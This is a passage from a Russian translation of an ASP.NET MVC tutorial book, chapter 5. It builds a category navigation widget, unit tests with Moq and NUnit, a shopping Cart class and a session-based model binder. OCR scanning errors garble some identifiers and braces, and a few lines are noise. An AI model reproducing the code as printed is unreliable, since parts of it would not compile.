Так как этот список ссылок на категории будет совместно использоваться многими контроллерами, и поскольку это отдельная ответственность по своей сути, для его представления должен быть предусмотрен какой-нибудь повторно используемый элемент управления, или виджет (графический элемент пользовательского интерфейса). Как же его построить?
Должен ли это быть простой вспомогательный метод HTML наподобие Html. PageLinks () ? Возможно, но тогда теряются преимущества от визуализации меню через шаблон представления (вспомогательные методы HTML просто возвращают HTML-разметку из кода С#). Чтобы поддержать возможность генерации более изощренной разметки в будущем, давайте найдем некоторое решение, использующее шаблон представления. Также визуализация посредством шаблона представления означает, что вы сможете написать более ясные тесты, потому что не придется сканировать специфические HTML-фрагменты.
Должно ли это быть частичное представление вроде Productsummary. ascx из главы 4? И снова нет — ведь это просто кусочки шаблонов представлений, которые не мотут содержать никакой логики приложения; в противном случае вы скатитесь к временам “супа из дескрипторов”2 классического ASP, и такая логика не поддается тестированию. Но этот виджет должен включать в себя некоторую логику приложения, так как он должен получить список категорий из репозитория товаров и определить, какую из них выделить в качестве “текущей”.
В дополнение к базовому пакету ASP.NET MVC предлагается дополнительная сборка под названием ASP.NET MVC Features. Эта сборка (Microsoft .Web .Mvc. dll) содержит набор дополнительных средств для MVC, которые предполагается включить в следующую версию основного пакета.
Одно из расширений Microsoft.Web.Mvc.dll предоставляет идеальный способ реализации многократно используемого навигационного виджета. Это вспомогательный метод HTML под названием Html. RenderAction (), который просто позволяет включить вывод от произвольного метода действия в вывод любого другого представления3.
2 "Суп из дескрипторов” (tag soup) — термин, присвоенный худшему стилю программирования в классическом ASP с чрезмерно перегруженными сложными файлами .asp, в которых логика приложения (установка соединения с базой данных, чтение и запись файловой системы, реализация важной бизнес-логики и т.п.) переплетена непосредственно с тысячами фрагментов HTML-рахметки. Такого рода код не обеспечивает разделения ответственности и крайне затрудняет его сопровождение. Злоупотребление шаблонами представлений ASP.NET MVC может дать той же эффект.
3 Некоторые разработчики жалуются, что Html. RenderAction () нарушает нормальное разделение ответственности в приложении MVC. С другой стороны, те, кому приходилось работать с ASP.NET MVC в рамках достаточно больших проектов, утверждают, что на самом деле это элегантный инструмент, который хорошо поддерживает модульное тестирование, и во многих случаях Html. RenderAction () или подобные ему альтернативы являются единственно возможным выбором. Этот и также совершенно другой подход подробно рассматриваются в главе 10.
Глава 5. Приложение SportStore: навигация и корзина для покупок 141
В данном случае, создав новый класс контроллера (назовем его NavController) с методом действия, который визуализирует навигационное меню (назовем его Menu ()), можно внедрить вывод метода действия непосредственно в шаблон мастер-страницы. NavController будет реальным классом контроллера, поэтому он может включать логику приложения, оставаясь легко тестируемым, а его действие Menu () будет визуализировать завершенную HTML-разметку с использованием нормального шаблона представления.
Прежде чем продолжить, не забудьте загрузить сборку ASP.NET MVC Features из сайта www.codeplex.com/aspnet/ (загляните на вкладку Releases (Выпуски)) и добавить ссылку на нее в проект WebUI. Затем импортируйте пространство имен Microsoft. Web.Mvc во все представления, добавив следующую строку в узел system.web/pages/ namespaces файла web. config:
<namespaces>
<add namespace="Microsoft.Web.Mvc"/>
</namespaces>
После этого метод Html .RenderAction () станет доступным всем шаблонам представлений.
Создание контроллера навигации
Начните с создания нового класса контроллера NavController внутри папки /Controllers проекта WebUI (щелкните правой кнопкой мыши на папке /Controllers и выберите в контекстном меню пункт Add1^Controller (Добавить =>Контроллер)). Добавьте в NavController метод Menu (), который пока что возвращает некоторую тестовую строку:
namespace WebUI.Controllers
{
public class NavController : Controller
{
public string MenuO
{
return "Hellp from NavController";
}
}
}
Теперь можно включить вывод этого метода действия в боковую панель каждой страницы, обновив элемент <body> мастер-страницы /Views/Shared/Site.Master:
<body>
<div id="header">
<div class="title">SPORTS STORE</div>
</div>
<div id="categories">
<% Html.RenderAction("Menu", "Nav"); %>
</div>
<div id="content">
<asp:ContentPlaceHolder ID="MainContent" runat="server" />
</div>
</body> *
Внимание! Обратите внимание, что синтаксис, окружающий Html. RenderAction (), подобен синтаксису, окружающему Html. RenderPartial (). Вместо <%= Html. RenderAction (...) %> применяется <% Html .RenderAction (...); %>. Метод не возвращает строку; из соображений производительности он просто направляет свой вывод непосредственно в поток Response.
142 Часть I. Введение в ASP.NET MVC
Если теперь запустить проект, можно будет увидеть вывод действия Menu () класса NavController, включенный в каждую сгенерированную страницу (рис. 5.3).
Рис. 5.3. Сообщение NavController, включенное в страницу
Теперь осталось только расширить NavController, чтобы он в действительности визуализировал набор ссылок на категории.
Тестироввние: генерация списка ссылок нв категории
NavController — это настоящий контроллер, поэтому он подходит для модульного тестирования. Необходимо реализовать следующее поведение.
•	NavController принимает IProductsRepository в качестве параметра конструктора (зто означает, что контейнер 1оС заполнит его автоматически).
•	Он использует IProductsRepository для получения набора отличающихся категорий в алфавитном порядке. Он должен визуализировать свое детальное представление, передавая Model экземпляр IEnumerable<NavLink>, где каждый объект NavLink (пока не определенный) описывает текст и информацию маршрутизации для каждой ссылки.
•	Кроме того, он должен добавлять в начало списка ссылку на домашнюю страницу сайта (Ноше).
Ниже приведены два модульных теста, описывающих представленное выше поведение. Они должны быть помещены в новый класс тестовой оснастки NavControllerTests проекта Tests:
[TestFixture]
public class NavControllerTests (
[Test]
public void Takes_IProductsRepository_As_Constructor_Param() {
// Тест "проходит", если он компилируется,
// поэтому здесь не нужны утверждения
new NavController((IProductsRepository) null) ; } [Test]
public void Produces_Home_Plus_NavLink_Object_For_Each_Distinct_Category() (
// Подготовка: репозиторий товаров с несколькими категориями
IQueryable<Product> products = new [ ] (
new Product	{	Name	=	"A",	Category	=	"Animal" },
new Product	{	Name	=	"B",	Category	=	"Vegetable" },
new Product	{	Name	=	"C",	Category	=	"Mineral" },
Глава 5. Приложение SportStore: навигация и корзина для покупок 143
new Product { Name = "D", Category = "Vegetable" }, new Product { Name = "E", Category = "Animal" } }.AsQueryable() ;
var mockProductsRepos = new Moq.Mock<IProductsRepository>(); mockProductsRepos.Setup(x => x.Products).Returns(products) ; var controller = new NavController(mockProductsRepos.Object); // Действие: вызвать действие Menu() ViewResult result = controller.Menu();
// Утверждение: проверить визуализацию по одной NavLink на категорию // (в алфавитном порядке) var links = ((IEnumerable<NavLink>)result.ViewData.Model).ToList() ; Assert.IsEmpty(result.ViewName); // Должно визуализировать // представление по умолчанию
Assert.AreEqual(4, links.Count);
Assert.AreEqual("Home", links[0].Text);
Assert.AreEqual("Animal", links[1].Text);
Assert.AreEqual("Mineral", links[2].Text);
Assert.AreEqual("Vegetable", links[3].Text); foreach (var link in links) { Assert.AreEqual("Products", link.RouteValues["controller"]); Assert.AreEqual("List", link.RouteValues["action"]);
Assert.AreEqual(1, link.RouteValues["page"]);
if(links.IndexOf(link) == 0) // Является ли зто ссылкой Home? Assert.IsNull(link.RouteValues["category"]);
else Assert.AreEqual(link.Text, link.RouteValues["category"]); } } }
Тест вызывает появление множества ошибок компиляции, обусловленных разными причинами. Например, действие Menu () в данный момент не возвращает ViewResult (а возвращает строку), и еще не существует класс по имени NavLink. Здесь снова тесты выдвигают некоторые новые требования к коду приложения.
Выбор и визуализация списка ссылок на категории
Модифицируйте контроллер NavController, чтобы он генерировал соответствующий список категорий. Для извлечения списка отличающихся категорий ему понадобится предоставить доступ к интерфейсу IProductsRepository. Если передать его в параметре конструктора, то контейнер 1оС сам позаботится о передаче подходящего экземпляра во время выполнения.
namespace WebUI.Controllers
{
public class NavController : Controller {
private IProductsRepository productsRepository;
public NavController(IProductsRepository productsRepository) {
this.productsRepository = productsRepository;
}
public ViewResult Menu()
144 Часть I. Введение в ASP.NET MVC
// Поместить в начало ссылку Ноте
List<NavLink> navLinks = new List<NavLink>();
navLinks.Add(new CategoryLink(null));
// Добавить ссылку для каждой отличающейся категории var categories =
productsRepository.Products.Select(х => x.Category);
foreach (string category in categories.Distinct().OrderBy(x => x) ) navLinks.Add(new CategoryLink(category));
return View(navLinks);
}
)
public class NavLink // Представляет ссылку на произвольный элемент маршрута (
public string Text ( get; set; }
public RouteValueDictionary RouteValues { get; set; }
}
public class CategoryLink : NavLink // Специфическая ссылка на категорию товаров {
public CategoryLink(string category) {
Text = category ?? "Home";
RouteValues = new RouteValueDictionary(new { controller = "Products", action = "List", category = category, page = 1 }) ;
}
}
)
Внесенные изменения позволят модульным тестам компилироваться и успешно проходить. Здесь генерируется коллекция объектов NavLink, в которой каждый экземпляр NavLink представляет ссылку, подлежащую визуализации (специфицируя и текст, и значение маршрута, определяющее целевое назначение ссылки).
Однако если вы теперь запустить проект, появится сообщение об ошибке The view ‘Menu’ or its master could not be found. The following locations were searched: ~/Views/ Nav/Menu.aspx, ~/Views/Nav/Menu.ascx (Представление Menu или его владелец не найдены. Поиск выполнялся в следующих местоположениях: ~/Views/Nav/Menu. aspx, ~/Views/Nav/Menu. ascx). Это не должно быть сюрпризом: вы просили действие Menu () визуализировать свое представление по умолчанию (одно из указанных местоположений), но ни в одном из них пока ничего нет.
Визуализация частичного представления из действия Menu
Поскольку этот навигационный виджет должен быть лишь фрагментом страницы, а не целой страницей, имеет смысл, чтобы его шаблон представления был частичным, а не обычным. Ранее вы визуализировали частичные представления только вызовом Html. RenderPartial (), но как вскоре будет показано, визуализацию частичного представления может выполнять любой метод. Это особенно удобно, когда используется вызов Html .RenderAction () либо технология Ajax (см. главу 12).
Чтобы создать представление для метода действия Menu () класса NavController, щелкните правой кнопкой мыши внутри тела метода и выберите в контекстном меню пункт Add View (Добавить представление). В открывшемся окне отметьте флажки Create a partial view (Создать частичное представление) и Create a strongly typed view (Создать строго типизированное представление) и в поле с раскрывающимся списком
Глава 5. Приложение SportStore: навигация и корзина для покупок 145
View data Class (Класс данных представления) введите Ienumerable<WebUI. Controllers .NavLink>. Теперь можно добавить разметку, генерирующую дескриптор ссылки для каждого объекта NavLink:
<%@ Control Language="C#"
Inherits=
"System.Web.Mvc.ViewUserControl<IEnumerable<WebUI. Controllers.NavLink»" %>
<% foreach(var link in Model) { %>
<a href="<%= Url.RouteUrl(link.RouteValues) %>">
<%= link.Text %>
</a>
Чтобы улучшить внешний вид ссылок, добавьте несколько правил CSS в файл /Content/styles.css:
DIV#categories А
{
font: bold l.lem "Arial Narrow","Franklin Gothic Medium",Arial; display: block;
text-decoration: none; padding: .6em; color: Black; border-bottom: Ipx solid silver;
)
DIV#categories A.selected { background-color: #666; color: White; }
DIV#categories A:hover { background-color: #CCC; }
DIV#categories A.selected:hover { background-color: #666; }
Теперь можно посмотреть на результат (рис. 5.4).
Рис. 5.4. Ссылки на категории, визуализированные в боковой панели
Выделение текущей категории
Список ссылок на категории пока что не поддерживает одно очевидную особенность: элементы управления навигацией обычно должны каким-то образом выделять текущее местоположение посетителя. Это указывает посетителю, где именно он находится в виртуальном пространстве сайта, делая его работу более комфортной.
146 Часть I. Введение в ASP.NET MVC
Тестирование: выбор правильного элемента NavLink для выделения
Логику выбора ссылки для выделения имеет смысл поместить в NavController, а не в представление (Menu. ascx).
Причина в том, что изначально предполагается, что шаблоны должны быть “неинтеллектуальными” — они могут содержать простую презентационную логику (выполняющую, например, итерацию по коллекции), но не должны включать прикладной логики (например, принятие решений о том, что показывать наблюдателю). Сохранение прикладной логики внутри классов контроллеров обеспечивает ее тестируемость. Кроме того, страницы ASPX/ASCX никогда не превратятся в “суп из дескрипторов” с полным несоответствием HTML-разметки и прикладной логики.
Каким же образом поступить в данном случае? Естественное решение состоит в добавлении в класс NavLink флага bool (под названием, например, IsSelected). Он может устанавливаться в коде контроллера и служить в представлении в качестве триггера для визуализации соответствующей разметки. Но как контроллер определит текущую категорию? Он может потребовать передачи категории в качестве параметра методу действия Menu ().
Ниже приведен тест, который выражает это проектное решение. Добавьте его в NavControllerTests:
[Test]
public void Highlights_Current_Category() {
// Подготовка: репозиторий товаров с парой категорий IQueryable<Product> products = new[] (
new Product { Name = "A", Category = "Animal" }, new Product { Name = "B", Category = "Vegetable" }, } .AsQueryable () ;
var mockProductsRepos = new Moq.Mock<IProductsRepository>(); mockProductsRepos.Setup (x => x.Products).Returns(products); var controller = new NavController(mockProductsRepos.Object);
// Действие
var result = controller.Menu("Vegetable");
// Утверждение
var highlightedLinks = ((IEnumerable<NavLink>)result.ViewData.Model) .Where(x => x.IsSelected).ToList() ;
Assert.AreEqual(1, highlightedLinks.Count) ;
Assert.AreEqual("Vegetable", highlightedLinks[0].Text);
}
Естественно, сразу же скомпилировать зтот тест не получится, поскольку NavLink еще не имеет свойства IsSelected, а метод действия Main () пока не принимает никаких параметров.
Давайте реализуем выделение текущей категории. Начните с добавления к NavLink нового свойства типа bool под названием IsSelected:
public class NavLink
{
public string Text { get; set; }
public RouteValueDictionary RouteValues ( get; set; }
public bool IsSelected { get; set; }
}
Затем обновите действие Menu () класса NavController, чтобы оно принимало параметр highlightcategory, используемый для выделения соответствующей ссылки:
public ViewResult Menu (string highlightcategory)
{
// Поместить в начало ссылку Home
Глава 5. Приложение SportStore: навигация и корзина для покупок 147
List<NavLink> navLinks = new List<NavLink> ();
navLinks.Add(new CategoryLink(null) {
IsSelected = (highlightcategory == null) }) ;
// Добавить ссылку для каждой категории
var categories = productsRepository.Products.Select(х => x.Category);
foreach (string category in categories.Distinct() .OrderBy(x => x) )
navLinks. Add (new CategoryLink (category) {
IsSelected = (category == highlightcategory)
}) ;
return View(navLinks);
}
Тестирование: обновление тестов
На данный момент скомпилировать решение нельзя, потому что тест Produces_Home_Plus_ NavLink_Object_For_Each_Distinct_Category() (в NavControllerTests)вызывает Main (), не передавая никакого параметра. Модифицируйте его, добавив передачу параметра, как показано ниже:
// Действие: Вызвать действие MenuO
ViewResult result = controller.Menu(null);
Теперь все тесты должны проходить, демонстрируя, что NavController может выделять правильную категорию.
В завершение обновите вызов Main () в /Views/Shared/Site .Master, чтобы при генерации навигационного виджета указывалась категория для выделения:
<div id="categories">
<% Html.RenderAction("Menu", "Nav", new { highlightcategory = ViewData["Currentcategory"] }); %>
</div>
Затем обновите шаблон /Views/Nav/Menu. as ex для генерации специального класса CSS, который будет отвечать за внешний вид выделенной ссылки:
<% foreach (var link in Model) { %>
<a href="<%= Url.RouteUrl(link.RouteValues) %>" class="<%= link.IsSelected ? "selected" : "" %>"
<%= link.Text %>
1 б-'s. О f o-^
В конечном итоге получен работающий навигационный виджет, умеющий выделять текущую страницу (рис. 5.5).
Построение корзины для покупок
Разрабатываемое приложение уже выглядит намного лучше, но с его помощью пока что нельзя продавать спортивные товары — отсутствуют кнопки для покупки и корзина для покупок. Настало время заняться и этим.
148 Часть I. Введение в ASP.NET MVC
Home
f Chess
Watersports
SPORTS STORE
Soccer ball
FIFA-approved size and weight $19.50
Shin pads
Defend your delicate little legs
$41.99
Рис. 5.5. Навигационный виджет выделяет текущее местоположение посетителя
В данном разделе вы сделаете следующее.
•	Расширите модель предметной области для представления понятия корзины для покупок (Cart) с поведением, определенным в форме модульных тестов, и разработаете второй класс контроллера — CartController.
•	Создадите специальное средство привязки модели, которое обеспечит для методов действий элегантный (и тестируемый) способ получения экземпляра Cart, относящегося к текущему сеансу браузера посетителя сайта.
•	Узнаете, чем полезно использование множества дескрипторов <f огш> в ASP.NET MVC (в ASP.NET WebForms это было почти невозможно).
•	Увидите, как использовать Html.RenderAction () для быстрого и простого создания элемента управления, подсчитывающего итоговый результат по корзине (в сравнении с созданием NavController, что было непростой задачей).
В общем и целом, вы реализуете процесс работы с корзиной для покупок, описанный на рис. 5.6.
Рис. 5.6. Набросок рабочего потока корзины для покупок
► Ввод информации о доставке
ИТ.Д.
На экранах списка товаров рядом с каждым наименованием должна быть кнопка добавления в корзину (Add to cart). Щелчок на ней должен приводить к добавлению единицы товара в корзину для покупок и переносить посетителя на экран содержимого корзины (Your cart). Помимо содержимого корзины, на этом экране отображается итоговая сумма, а также кнопки, позволяющие продолжить покупку (Continue shopping) и
Глава 5. Приложение SportStore: навигация и корзина для покупок 149
оформить заказ (Check out now). Щелчок на кнопке Continue shopping приведет к возврату посетителя на страницу, где он был перед зтим (в ту же категорию и на ту же страницу), а щелчок на кнопке Check out now переносит на экран, на котором можно завершить оформление заказа.
Определение сущности Cart
Поскольку корзина для покупок — часть предметной области приложения, Cart имеет смысл определить как новый класс модели. Поместите класс по имени Cart в папку Entities проекта DataModel:
namespace DomainModel.Entities
{
public class Cart
{
private List<CartLine> lines = new List<CartLine>();
public IList<CartLine> Lines { get { return lines; } } public void Additem(Product product, int quantity) { } public decimal ComputeTotalValue() { throw new NotlmplementedException(); } public void Clear() { throw new NotlmplementedException (); }
}
public class CartLine
{
public Product Product { get; set; } public int Quantity { get; set; } }
}
Лучшим местом для помещения модели предметной области является логика предметной области, или бизнес-логика. Это поможет разделить ответственность предметной области и веб-приложения (запросы, ответы, ссылки, страницы и т.п.), которая обычно располагается в контроллерах. Поэтому следующим шагом будет проектирование и реализация следующих связанных с Cart бизнес-правил.
•	Корзина изначально пуста.
•	Корзина не может иметь более одной строки для каждого товара. (Таким образом, при добавлении товара, для которого в корзине уже имеется строка, просто увеличивается его количество.)
• Итоговая сумма по корзине равна сумме цен каждого наименования товара, умноженных на количество. (Для простоты мы опускаем все, что касается оплаты за доставку.)
Тестирование: поведение корзины для покупок
Существующие простейшие реализации Cart и CartLines служат хорошей отправной точкой для определения их поведения в терминах тестов. Создайте новый класс CartTest в проекте Tests:
[TestFixture]
public class CartTests
[Test]
public void CartStartsEmptyO {
Cart cart = new CartO ;
150 Часть I. Введение в ASP.NET MVC
Assert.AreEqual(0, cart.Lines.Count);
Assert.AreEqual(0, cart.ComputeTotalValue());
}
[Test]
public void Can_Add_Items_To_Cart() {
Product pl = new Product { ProductID = 1 };
Product p2 = new Product { ProductID = 2 };
// Добавить три товара (два из них одинаковы) Cart cart = new Cart() ;
cart.Additem(pl, 1) ;
cart.Additem(pl, 2);
cart.Additem(p2, 10);
// Проверить количество строк результата
Assert.AreEqual(2, cart.Lines.Count, "Wrong number of lines in cart");
// Неверное количество строк в корзине
// Проверка правильности количества добавленных товаров
var plLine = cart.Lines.Where (1 => 1. Product.ProductID == 1),First(); var p2Line = cart.Lines.Where(1 => 1.Product.ProductID == 2) .First(); Assert.AreEqual(3, plLine.Quantity);
Assert.AreEqual(10, p2Line.Quantity);
)
[Test]
public void Can_Be_Cleared()
(
Cart cart = new Cart() ;
cart .Additem (new ProductO, 1) ;
Assert.AreEqual(1, cart.Lines.Count);
cart.Clear () ;
Assert.AreEqual(0, cart.Lines.Count);
}
[Test]
public void Calculates_Total_Value_Correctly() (
Cart cart = new Cart () ;
cart.Additem(new Product	{	ProductID	=	1,	Price	=	5 }, 10);
cart. Additem (new Product	{	ProductID	=	2,	Price	=	2. IM }, 3);
cart .Additem (new Product	{	ProductID	=	3,	Price	=	1000 }, 1);
Assert.AreEqual(1056.3, cart.ComputeTotalValue ());
)
}
(Если вам незнаком синтаксис, то знайте, что М в 2.1М сообщает компилятору С#, что это литеральное значение типа decimal.)
С помощью синтаксиса C# 3.0 реализовать это поведение несложно:
public class Cart {
private List<CartLine> lines = new List<CartLine> ();
public IList<CartLine> Lines { get { return lines.AsReadOnly(); } } public void Additem(Product product, int quantity) {
// FirstOrDefault() - расширяющий метод LINQ на lEnumerable
Глава 5. Приложение SportStore: навигация и корзина для покупок 151
var line = lines
.FirstOrDefault(1 => 1.Product.ProductID == product.ProductID) ; if (line == null)
lines.Add(new CartLine { Product = product. Quantity = quantity }) ; else
line. Quantity += quantity;
}
public decimal ComputeTotalValue()
{
// Sum() - расширяющий метод LINQ на lEnumerable return lines.Sum(1 => 1.Product.Price * 1.Quantity);
}
public void Clear ()
{
lines . Clear () ;
}
}
Такой код обеспечивает успешный проход тестов CartTests. Однако есть еще один момент, который следует учесть: посетители должны иметь возможность удалять элементы из корзины. Чтобы класс Cart поддерживал удаление элементов, добавьте в него следующий дополнительный метод:
public void RemoveLine(Product product) {
lines.RemoveAll(1 => 1. Product.ProductID == product.ProductID);
}
(Добавление теста для удаления элементов из корзины оставляется в качестве упражнения для самостоятельной проработки.)
На заметку! Обратите внимание, что свойство Lines теперь возвращает свои данные в форме только для чтения. Это имеет смысл: ведь код на уровне пользовательского интерфейса не должен модифицировать элементы коллекции Lines напрямую, поскольку это позволит игнорировать или нарушать бизнес-правила. Для обеспечения инкапсуляции необходимо, чтобы все изменения коллекции Lines проводились через API-интерфейс класса Cart.
Добавление кнопок Add to cart
Вернитесь к частичному представлению /Views/Shared/ProductSummary. ascx и добавьте кнопку Add to cart:
<div class="item">
<	h3><%= Model.Name %></h3>
<	%= Model.Description %>
<	% using(Html.BeginForm("AddToCart", "Cart")) { %>
<%= Html.Hidden("ProductID") %>
<%= Html.Hidden("returnUrl",
ViewContext.HttpContext.Request.Ur1.PathAndQuery) %>
<input type="submit" value="+ Add to cart" />
<% } %>
<h4><%= Model. Price. ToString ("c") %X/h4>
</div>
Теперь приложение еще на один шаг приблизилось к возможности продавать товары (рис. 5.7).
152 Часть I. Введение в ASP.NET MVC
Рис. 5.7. Кнопки Add to cart
Каждая из кнопок Add to cart передает с помощью HTTP-запроса POST соответствующий ProductID действию AddToCart класса контроллера по имени CartController. Обратите внимание, что Html. BeginForm () по умолчанию визуализирует формы с атрибутом method, установленным в POST, хотя существует перегрузка этого метода, которая позволяет специфицировать вместо этого метод GET.
Поскольку CartController не существует, щелчок на кнопке Add to cart приводит к возникновению ошибка в контейнере IoC (Value cannot be null. Parameter name: service (Значение не может быть null. Имя параметра: service)). Чтобы установить для кнопок Add to cart черный цвет, понадобится добавить дополнительные правила в файл CSS:
FORM { margin: 0; padding: 0; }
DIV.item FORM { float:right; }
DIV.item INPUT {
color:White; background-color: #333; border: Ipx solid black; cursor:pointer;
}
Использование нескольких дескрипторов <form>
Возможно, вы уже заметили, что такое использование вспомогательного метода Html .BeginForm () означает, что каждая кнопка Add to cart визуализируется в собственной маленькой HTML-форме <form>. В сравнении с ASP.NET WebForms, где каждая страница допускает только один дескриптор <form>, это может показаться странным и тревожным, однако не беспокойтесь — скоро все станет ясно. С точки зрения HTML нет никаких причин, по которым страница не могла бы иметь несколько (даже сотни) дескрипторов <f orm> при условии, конечно, что они не вложены друг в друга и не перекрываются.
Формально помещать каждую из этих кнопок в отдельный дескриптор <form> не обязательно. Так почему рекомендуется поступать подобным образом? Дело в том, что каждая из этих кнопок должна инициировать HTTP-запрос POST с отличающимся набором параметров, а это проще всего сделать путем создания отдельного дескриптора <f orm> для каждого случая. А почему здесь важно использовать запрос POST, а не GET? Да потому, что согласно спецификации протокола HTTP запросы GET должны быть идемпотентными (т.е. не вызывать нигде изменений), а добавление товара в корзину
Глава 5. Приложение SportStore: навигация и корзина для покупок 153
определенно ее изменяет. В главе 8 вы узнаете, почему это важно, и что может случиться, если вы проигнорируете этот совет.
Предоставление каждому посетителю отдельной корзины для покупок
Для того чтобы кнопка Add to cart работала, потребуется создать новый класс контроллера — CartController, оснащенный методами действий для добавления и удаления элементов из корзины. Но минуточку! О какой конкретно корзине идет речь? Вы определили класс Cart, и пока это все. Еще нет никаких его экземпляров, доступных в приложении, и фактически пока даже не решено, как это будет работать.
•	Цге хранить объекты Cart — в базе данных или в памяти веб-сервера?
•	Можно ли один экземпляр Cart разделять между всеми, или же каждый посетитель должен иметь отдельный экземпляр Cart. А, может быть, новый экземпляр должен создаваться для каждого НТТР-запроса?
Очевидно, что нужен такой экземпляр Cart, который существует дольше, чем одиночный HTTP-запрос, так как посетители будут добавлять к нему объекты CartLines в последовательных запросах. И, конечно же, каждый посетитель нуждается в отдельной корзине, не разделяя ее с другими посетителями, которые делают покупки одновременно с ним; иначе наступит хаос.
Естественный способ обеспечить такие характеристики — хранить объекты Cart в коллекции Session. При наличии предшествующего опыта работы в ASP.NET (или даже в классическом ASP) вы знаете, что коллекция Session хранит объекты на протяжении всего сеанса браузера посетителя. По умолчанию ее данные хранятся в памяти веб-сервера, но в файле web.config можно сконфигурировать и другие стратегии хранения (в процессе, вне процесса, в базе данных SQL и т.п.).
Более аккуратный способ работы с хранилищем Session, предлагаемый ASP.NET MVC
До сих пор все, что обсуждалось о корзинах для покупок и Session, было очевидным. Но вы должны понимать, что несмотря на то, что в ASP.NET MVC имеется множество общих компонентов инфраструктуры (вроде коллекции Session) со старыми технологиями, такими как ASP и ASP.NET WebForms, в основу их использования положена совершенно другая философия.
Разрешение контроллерам манипулировать коллекцией Session напрямую, помещая и извлекая объекты эпизодически, как если бы Session была крупной и доступной для всех глобальной переменной, увеличивает риск появления ряда проблем при сопровождении. Что, если контроллеры потеряют синхронизацию, когда один из них будет искать Session [ "Cart" ], а другой — Session [ "_cart" ] ? Что, если контроллер будет исходить из того, что Session ["cart"] должно быть заполнено другим контроллером, а на самом деле окажется не так? Как насчет неудобства написания модульных тестов для кода, обращающегося к Session, с учетом того, что для этого необходима имитируемая или фиктивная коллекция Session?
В ASP.NET MVC лучшим методом действий будет такой, который является чистой функцией его параметров. Под этим подразумевается, что метод действия считывает и записывает данные только в свои параметры, не обращаясь к HttpContext, Session или любому другому состоянию, внешнему по отношению к контроллеру. Если достичь этого удалось (что обычно так, но не всегда), то затем можно установить ограничения на сложность контроллеров и действий. Это приводит к семантической ясности, кото
154 Часть I. Введение в ASP.NET MVC
рая обеспечивает понимание кода с первого взгляда. По определению такие автономные методы легко проверять с помощью модульных тестов, поскольку нет никакого внешнего состояния, которое при этом необходимо эмулировать.
В идеале методы действия должны получать в качестве параметра экземпляр Cart, потому им не нужно беспокоиться о том, откуда берутся экземпляры. Это упрощает модульное тестирование: тесты смогут поставлять объекты Cart действию, запускать его и затем проверять, какие изменения произошли в Cart. Кажется, неплохой план действий.
Создание специального средства привязки модели
Как вы уже знаете, в ASP.NET MVC имеется механизм, называемым привязкой модели, который, помимо прочего, используется для подготовки параметров, передаваемых методам действий. Именно так в главе 2 мы получали экземпляр GuestResponse, автоматически выделенный из входящего HTTP-запроса.
Это мощный и расширяемый механизм. Теперь вы узнаете, как создать специальное средство привязки модели, которое поставляет экземпляры, извлеченные из некоторого хранилища (в данном случае из коллекции Session). Когда оно будет готово, методы действий легко смогут получать экземпляры Cart в качестве параметра, не заботясь о том, как эти экземпляры создаются или хранятся. Добавьте в корень проекта WebUI следующий класс (формально он может находиться где угодно):
public class CartModelBinder : IModelBinder
{
private const string cartSessionKey = "cart";
public object BindModel(Controllercontext controllercontext, ModelBindingContext bindingcontext) {
// Некоторые средства привязки модели могут обновлять
// свойства существующих экземпляров модели.
// Здесь это не нужно — оно служит только для применения
// параметров метода действий.
if(bindingcontext.Model !=null) throw new
InvalidOperationException ("He удалось обновить экземпляры");
// Вернуть объект cart из Session[] (создав его при необходимости) Cart cart = (Cart)controllercontext.HttpContext.Session[cartSessionKey]; if(cart == null) {
cart = new Cart ();
controllercontext.HttpContext.Session[cartSessionKey] = cart;
} return cart;
}
}
Подробные сведения о привязке модели, а также о том. как встроенное средство привязки по умолчанию может создавать экземпляры и обновлять любой пользовательский тип .NET и даже коллекции таких типов, приводятся в главе 12. Пока достаточно знать, что CartModelBinder представляет собой просто разновидность фабрики Cart, которая инкапсулирует логику предоставления каждому пользователю отдельного экземпляра, хранящегося в коллекции Session.
В ASP.NET MVC класс CartModelBinder не будет использоваться до тех пор, пока это не будет явно указано. Добавьте в метод Application_Start () из файла Global. asax. cs следующую строку, назначив CartModelBinder в качестве средства привязки для использования там, где требуется экземпляр Cart:
Глава 5. Приложение SportStore: навигация и корзина для покупок 155
protected void Application_Start() {
II... остальной код не изменяется ...
ModelBinders.Binders.Add(typeof(Cart) , new CartModelBinder() ) ; }
Создание CartController
Теперь давайте создадим CartController, полагаясь на специальное средство привязки модели для получения экземпляров cart. Начать можно с метода действия AddToCart ().
Тестирование: класс контроллера CartController
Класс контроллера под названием CartController пока не существует, но это не должно помешать проектированию и определению его поведения в терминах тестов. Добавьте в проект Tests новый класс CartControllerTests:
[TestFixture]
public class CartControllerTests
(
[Test]
public void Can_Add_Product_To Cart () {
// Подготовка: установить имитируемый репозиторий с двумя товарами var mockProductsRepos = new Moq.Mock<IProductsRepository>();
var products = new System.Collections.Generic.List<Product> {
new Product { ProductID = 14, Name = "Much Ado About Nothing" }, new Product { ProductID = 27, Name = "The Comedy of Errors" }, };
mockProductsRepos.Setup(x => x.Products)
.Returns(products.AsQueryable());
var cart = new Cart();
var controller = new CartController(mockProductsRepos.Object);
// Действие: попробовать добавить товар в корзину RedirectToRouteResult result =
controller.AddToCart(cart, 27, "someReturnUrl");
// Утверждение
Assert.AreEqual(1, cart.Lines.Count);
Assert.AreEqual("The Comedy of Errors", cart.Lines[0].Product.Name);
Assert.AreEqual(1, cart.Lines[0].Quantity);
// Проверить, что посетитель перенаправлен на экран отображения корзины Assert.AreEqual("Index", result.Routevalues["action"]);
Assert.AreEqual("someReturnUrl", result.RouteValues["returnUrl"]);
}
}
Обратите внимание, что CartController принимает IProductsRepository в качестве параметра конструктора. В терминах 1оС это означает, что CartController имеет зависимость от IProductsRepository. Тест указывает, что Cart будет первым параметром, переданным методу AddToCart (). Этот тест также определяет, что после добавления запрошенного товара в корзину для покупок посетителя контроллер должен перенаправить посетителя на действие под названием Index.
На данном этапе можно также написать тест под названием Can_Remove_Product_From_Cart (), проверяющий возможность удаления товара из корзины. Это оставляется в качестве упражнения для самостоятельной проработки.
156 Часть I. Введение в ASP.NET MVC
Реализация AddToCar и Rem.oveFrom.Cart
Чтобы решение было построено, а тесты успешно проходили, потребуется реализовать CartController с парой довольно простых методов действий. Для этого достаточно лишь установить зависимость 1оС от IProductRepository (имея параметр конструктора этого типа), предоставить Cart как один из параметров методов действий и затем скомбинировать значения, применяемые для добавления и удаления товаров:
public class CartController : Controller {
private IproductsRepository productsRepository;
public CartController(IproductsRepository productsRepository) {
this.productsRepository = productsRepository;
}
public RedirectToRouteResult AddToCart(Cart cart, int productID, string returnUrl)
{
Product product = productsRepository.Products
